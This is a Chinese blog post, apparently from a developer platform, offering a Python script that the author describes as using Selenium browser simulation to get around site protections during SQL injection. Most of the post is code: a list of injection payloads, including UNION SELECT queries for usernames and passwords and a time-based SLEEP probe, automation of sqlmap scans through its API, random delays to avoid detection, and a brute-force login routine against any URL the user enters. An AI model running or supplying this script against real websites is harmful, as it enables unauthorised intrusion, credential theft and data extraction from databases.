模拟浏览器进行sql注入

笔者进行sqlmap盲注时,发现很多网站都有保护机制,要求cookie。根据目前网站的机制,通过模拟浏览器进行注入,可以绕i过一些保护机制。以下是改进版的内容:

安装Selenium库

pip install selenium
import requests
import json
import time
import random
from selenium import webdriver
from selenium.webdriver.chrome.service import Service as ChromeService
from webdriver_manager.chrome import ChromeDriverManager
from selenium.webdriver.common.by import By

# SQLMap API URL
SQLMAP_API_URL = "http://localhost:8775/ajax"

# SQL 注入测试样本列表
SQL_INJECTION_PAYLOADS = [
    "'",  # 单引号引发基本的 SQL 错误
    '"',  # 双引号引发基本的 SQL 错误
    "' OR '1'='1' --",
    "' OR '1'='1' /*",
    "' OR 1=1 --",
    "' UNION SELECT NULL, username, password FROM users --",
    "' UNION SELECT 1, @@version --",
    "' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' --",
    "' HAVING 1=1 --",
]

# 凭证用于暴力破解测试,可以添加密码本
CREDENTIALS = [
    ('admin', 'password123'),
    ('user', 'pass456'),
]

# 函数设置
LEVEL = 2  # SQLMap scan level
RISK = 2  # SQLMap risk level


def log_results(file_name, data):
    """Log results to a file."""
    with open(file_name, 'a') as f:
        f.write(data + '\n')


def start_scan(target_url):
    data = {
        'url': target_url,
        'level': LEVEL,
        'risk': RISK,
    }
    try:
        response = requests.post(f"{SQLMAP_API_URL}/task/new", data=data)
        response.raise_for_status()
        task_info = response.json()

        if task_info.get('status') == 'success':
            task_id = task_info['taskid']
            print(f"Created task: {task_id}")
            response = requests.post(f"{SQLMAP_API_URL}/scan/{task_id}")
            response.raise_for_status()
            scan_info = response.json()

            if scan_info.get('status') == 'success':
                print(f"Started scan for task: {task_id}")
                while True:
                    time.sleep(random.uniform(1, 5))  # 添加随机延迟
                    response = requests.get(f"{SQLMAP_API_URL}/scan/{task_id}")
                    response.raise_for_status()
                    scan_result = response.json()

                    if scan_result.get('status') in ['terminated', 'done']:
                        print("Scan completed.")
                        break
                    elif scan_result.get('status') == 'running':
                        print("Scan is still running...")
                    else:
                        print("Error retrieving scan status.")
                        break
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")
    except json.JSONDecodeError:
        print("Failed to decode JSON response.")
    except KeyError as e:
        print(f"Missing key in response: {e}")


def test_sql_injection(target_url):
    print("Testing for SQL injection vulnerabilities...")
    for payload in SQL_INJECTION_PAYLOADS:
        inject_url = f"{target_url}{payload}"
        print(f"Testing payload: {inject_url}")

        try:
            time.sleep(random.uniform(1, 5))  # 添加随机延迟
            response = requests.get(inject_url)
            if response.status_code == 200:
                if "SQL syntax" in response.text or "error" in response.text.lower():
                    print(f"Possible SQL injection vulnerability found with payload: {payload}")
                    log_results("sql_injection_results.log", f"Vulnerable payload: {payload}")
                else:
                    print(f"No vulnerability found with payload: {payload}")
            else:
                print(f"Received unexpected status code: {response.status_code} for payload: {payload}")
        except requests.exceptions.RequestException as e:
            print(f"Request failed for payload {payload}: {e}")


def brute_force_login(target_url):
    print("Attempting to brute force login...")
    for username, password in CREDENTIALS:
        data = {
            'username': username,
            'password': password,
        }
        try:
            time.sleep(random.uniform(1, 5))  # 添加随机延迟
            response = requests.post(target_url, data=data)
            if "Invalid username or password" not in response.text:  # 根据实际响应调整条件
                print(f"Successful login with {username}:{password}")
                log_results("brute_force_results.log", f"Successful login: {username}:{password}")
                break
            else:
                print(f"Failed login with {username}:{password}")
        except requests.exceptions.RequestException as e:
            print(f"Request failed for {username}:{password}: {e}")


def response_time_check(target_url):
    print("Checking for blind SQL injection via response time...")
    payload = "' OR IF(1=1, SLEEP(5), 0) -- "
    inject_url = f"{target_url}{payload}"
    start_time = time.time()

    try:
        time.sleep(random.uniform(1, 5))  # 添加随机延迟
        response = requests.get(inject_url)
        end_time = time.time()
        if response.status_code == 200:
            response_time = end_time - start_time
            print(f"Response time: {response_time}s")
            if response_time > 5:
                print("Possible SQL injection vulnerability detected due to delayed response.")
                log_results("timing_attack_results.log", "Possible SQL injection vulnerability due to timing.")
        else:
            print(f"Received unexpected status code: {response.status_code} for timing check.")
    except requests.exceptions.RequestException as e:
        print(f"Request failed for timing check: {e}")


def selenium_test_sql_injection(target_url):
    print("Testing for SQL injection vulnerabilities using Selenium...")
    # Initialize the WebDriver
    driver = webdriver.Chrome(service=ChromeService(ChromeDriverManager().install()))
    driver.get(target_url)

    for payload in SQL_INJECTION_PAYLOADS:
        inject_url = f"{target_url}{payload}"
        print(f"Testing payload: {inject_url}")

        try:
            driver.get(inject_url)
            time.sleep(random.uniform(1, 5))  # 添加随机延迟
            if "SQL syntax" in driver.page_source or "error" in driver.page_source.lower():
                print(f"Possible SQL injection vulnerability found with payload: {payload}")
                log_results("sql_injection_results_selenium.log", f"Vulnerable payload: {payload}")
            else:
                print(f"No vulnerability found with payload: {payload}")
        except Exception as e:
            print(f"Error during Selenium request for payload {payload}: {e}")

    driver.quit()


if __name__ == "__main__":
    target_url = input("Please enter the target URL (with parameters, if necessary): ")
    # 测试 SQL 注入
    test_sql_injection(target_url)
    # 使用 Selenium 测试 SQL 注入
    selenium_test_sql_injection(target_url)
    # 启动 SQLMap 扫描
    start_scan(target_url)
    # 垂直暴力破解
    brute_force_login(target_url)
    # 响应时间检查
    response_time_check(target_url)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值